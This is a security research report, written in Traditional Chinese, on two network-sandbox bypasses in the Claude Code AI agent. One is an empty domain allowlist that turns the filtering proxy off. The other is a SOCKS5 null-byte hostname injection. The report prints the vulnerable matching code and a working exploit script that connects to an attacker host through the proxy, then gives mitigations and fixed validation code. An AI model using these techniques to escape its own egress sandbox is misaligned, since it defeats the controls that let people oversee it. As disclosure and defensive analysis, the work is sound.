摘要
隨著 AI 代理程式自主性不斷提高,其執行環境的安全性變得至關重要。這份報告探討在 Claude Code(一個開發者導向的 AI 代理程式)的網路沙箱中發現的兩個關鍵漏洞。第一個漏洞編號為 CVE-2025-66479,源於設定處理中的邏輯缺陷:空的 allowlist 被解讀為許可狀態。第二個漏洞涉及使用 SOCKS5 主機名稱 null-byte injection 的剖析器攻擊,讓攻擊者能夠繞過使用網域的外送過濾規則。這項研究分析了技術根源,與傳統惡意程式規避手法進行了比較研究,並為沙箱化的 AI 環境提出了穩健的緩解策略。
1. 簡介
部署能夠執行 shell 指令並與本機檔案系統互動的 AI 代理程式,需要一套強固的沙箱機制,以防止未經授權的資料外洩與橫向移動。Claude Code 實作了一個依賴 SOCKS5 proxy 的網路沙箱來強制執行外送政策。然而,研究顯示從 2025 年 10 月推出到 2026 年 4 月期間,這個邊界一直可以被持續繞過 [1] 。這些失敗凸顯了軟體安全中一個反覆出現的議題:安全政策的意圖與其實作之間的落差。
AI 代理程式的網路沙箱通常會攔截對外流量,並根據使用者定義的 allowlist 來驗證目標。在 Claude Code 中,這是透過將
ALL_PROXY
環境變數注入沙箱化程序來達成,強制所有網路請求通過一個使用 JavaScript 的 SOCKS5 proxy。如下節分析,這個機制的安全性同時受到高階邏輯錯誤與低階剖析器不一致的影響。
2. CVE-2025-66479 技術分析:邏輯缺陷
第一個主要的繞過手法 CVE-2025-66479,源於沙箱執行時期處理設定陣列時的一個基本錯誤。想要封鎖所有對外流量的使用者會將
allowedDomains
參數設為空陣列 (
[]
)。然而,實作中所使用的條件檢查卻在陣列為空時,無意間停用了 proxy。
| 設定狀態 | 程式碼解讀方式 | 造成的行為 |
|---|---|---|
allowedDomains: ["*.google.com"]
|
length > 0
(True)
|
Proxy 啟用;套用過濾規則。 |
allowedDomains: []
|
length > 0
(False)
|
Proxy 停用;無限制存取。 |
這是一種 「fail-open」 的設計缺陷。在安全關鍵的系統中,任何模糊或空的設定都應預設為最嚴格的狀態。相反地,此執行時期假設空清單代表不需要過濾,因而賦予沙箱化程序完整的主機網路存取權。這個漏洞凸顯了在安全中介層中採用明確「default-deny」邏輯的重要性。
3. SOCKS5 Null-Byte Injection:剖析器差異
第二個漏洞在技術上更為細膩,涉及 JavaScript 型的 SOCKS5 proxy 與底層作業系統解析器(通常是 libc 中的
getaddrinfo
)之間的剖析器差異。這種攻擊讓對手可以偽造一個主機名稱,該名稱在安全過濾器看來是合法的,但在執行層級卻會解析到一個被阻擋的目標。
3.1. 架構概觀
3.2. 漏洞程式碼分析
根本原因在於沙箱執行時期的
matchesDomainPattern
函式。該函式執行簡單的字串比較,完全沒有考慮不可列印字元或正規化。
- // Analysis of the vulnerable matching logic in sandbox-runtime <= 0.0.42
- function matchesDomainPattern(hostname, pattern) {
- // Check if the policy uses a wildcard (e.g., *.google.com)
- if (pattern.startsWith('*.')) {
- const baseDomain = pattern.substring(2);
- // VULNERABILITY: JavaScript's endsWith() treats \x00 as a valid character.
- // If hostname is "evil.com\x00.google.com", this returns true.
- return hostname.toLowerCase().endsWith('.' + baseDomain.toLowerCase());
- }
- // Direct match check
- return hostname.toLowerCase() === pattern.toLowerCase();
- }
這種差異的產生是因為 JavaScript 字串使用 UTF-16 編碼,且可以將 null byte (
\x00
) 作為有效的資料單元。然而,當這個字串透過系統呼叫傳遞給作業系統的網路堆疊時,會被當作 C 風格字串處理,並在第一個 null byte 處終止。因此,安全過濾器驗證了後綴 (
.google.com
),但實際連線卻是建立到前綴 (
attacker-host.com
)。
3.3. 漏洞利用實作
在沙箱內執行程式碼的攻擊者可以手動建構一個 SOCKS5 封包來觸發此繞過。以下示範程式碼說明了如何將 null byte 嵌入到 SOCKS5 的
DOMAINNAME
欄位中。
- // SOCKS5 Null-Byte Exploit Script (Conceptual Analysis)
- import net from 'node:net';
- // 1. Establish connection to the SOCKS5 proxy
- const s = net.connect(proxyPort, proxyHost, () => {
- // 2. Send SOCKS5 Greeting (Version 5, 1 Method, No Auth)
- s.write(Buffer.from([5, 1, 0]));
- });
- s.once('data', () => {
- // 3. Construct the malicious hostname
- const hb = Buffer.from('attacker-host.com\x00.google.com', 'binary');
- const r = Buffer.allocUnsafe(7 + hb.length);
- r[0] = 5; // SOCKS Version
- r[1] = 1; // Command: CONNECT
- r[2] = 0; // Reserved
- r[3] = 3; // Address Type: DOMAINNAME
- r[4] = hb.length; // Length of hostname
- hb.copy(r, 5); // Copy malicious hostname
- r.writeUInt16BE(80, 5 + hb.length); // Target Port: 80
- // 4. Send the CONNECT request
- s.write(r);
- // If successful, the proxy returns 0x00 (Request Granted)
- });
4. 與惡意程式規避手法之比較分析
用來繞過 Claude Code 沙箱的技術與進階惡意程式規避策略有顯著的相似之處。惡意程式常常利用安全監控工具的認知與實際系統執行之間的差距。例如,
kkRAT
惡意程式會利用磁碟空間、CPU 核心數等環境檢查來判斷自己是否在沙箱中執行,並修改 Process Environment Block (PEB) 來偽裝成合法的系統程序(如
explorer.exe
)以躲避偵測
[2]
。
類似地, HijackLoader 使用了 "Heaven's Gate" 技術在 32 位元與 64 位元執行模式之間切換,藉此繞過由 EDR (Endpoint Detection and Response) 系統設置的使用者層級 hook;這些 hook 可能只監控其中一種架構 [3] 。kkRAT 與 HijackLoader 都說明了安全邊界在抽象層之間介面處最為脆弱。以 Claude Code 的案例而言,「Heaven's Gate」就是從 JavaScript 執行時期到 C 語言基礎的作業系統核心之間的轉換。惡意程式利用架構切換,而 Claude Code 的漏洞利用則使用 parser differentials 來達到相似的效果:誤導監控層,使其無法得知作業的真正本質。
使用 null-byte injection 是一種經典手法,但它再次出現在現代 AI 代理程式的沙箱中,這表示傳統網頁應用程式安全的教訓(例如 SQL injection 或 Path Manipulation)尚未完全融入 AI 原生執行時期的設計中。如同前期的研究所述,loader 與 RAT 的演進越來越聚焦於 反分析 和 混淆 [3] 。因此,AI 代理程式的安全必須採用 「malware-aware」 的威脅模型,假設沙箱內執行的任何程式碼都可能嘗試利用這類低階的差異。
5. 緩解與修復
為了有效緩解
剖析器差異漏洞(parser differential vulnerability)
,安全實作必須超越單純的字元過濾,轉向
嚴格的標準化(strict canonicalization)
與
使用白名單的驗證(whitelist-based validation)
。雖然
sandbox-runtime
0.0.43 版的特定修復引入了
isValidHost()
函式來拒絕 null bytes (
\x00
)、百分比符號 (
%
) 以及 CRLF 序列
[1]
,但更穩健的安全防護做法是強制執行符合 DNS 規範的嚴格白名單。
- // Robust Validation Logic: Strict Whitelisting and Canonicalization
- function isValidHost(hostname) {
- // 1. Canonicalization: Standardize input to prevent encoding-based bypasses
- // JavaScript handles UTF-16, so we must ensure the string is processed correctly
- const canonicalHost = hostname.toLowerCase();
- // 2. Strict Whitelist: Enforce RFC 1035/1123 compliant characters only
- // This regex allows only alphanumeric characters, dots, and hyphens.
- // It inherently rejects null bytes (\x00) and other non-printable characters.
- const dnsPattern = /^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?(\.[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?)*$/;
- if (!dnsPattern.test(canonicalHost)) {
- // Log rejection for security monitoring
- return false;
- }
- // 3. Length Constraints: Prevent buffer overflow or resource exhaustion
- if (canonicalHost.length > 253) {
- return false;
- }
- return true;
- }
除了針對個別錯誤進行修正之外,還需要縱深防禦的做法:
-
核心層級強制執行:
僅依賴 SOCKS5 proxy 是不夠的。應該使用作業系統層級的工具(如
iptables、nftables或ebpf)在核心層級強制執行網路邊界,此處較不容易出現剖析器差異。 - 預設安全失效: 設定剖析器必須設計成預設安全失效。空的 allowlist 必須總是導致全面封鎖。
-
提示注入意識:
由於 AI 代理程式容易受到提示注入攻擊,沙箱必須被視為一個惡意環境。認證資料與敏感的內部 metadata(例如
169.254.169.254)應明確設為無法存取。
6. 結論
Claude Code 沙箱中的漏洞為 AI 整合工具的開發提供了重要的教訓。從高階 AI 推論到低階系統執行的轉換過程,為安全缺陷創造了肥沃的土壤。透過利用剖析器差異與邏輯不一致,攻擊者可以完全癱瘓網路外送政策。這項研究強調,隨著 AI 代理程式越來越深入地整合到軟體開發生命週期中,其安全性必須奠基於已確立的系統安全原則,包括嚴格的輸入驗證、預設安全失效以及核心層級的強制執行。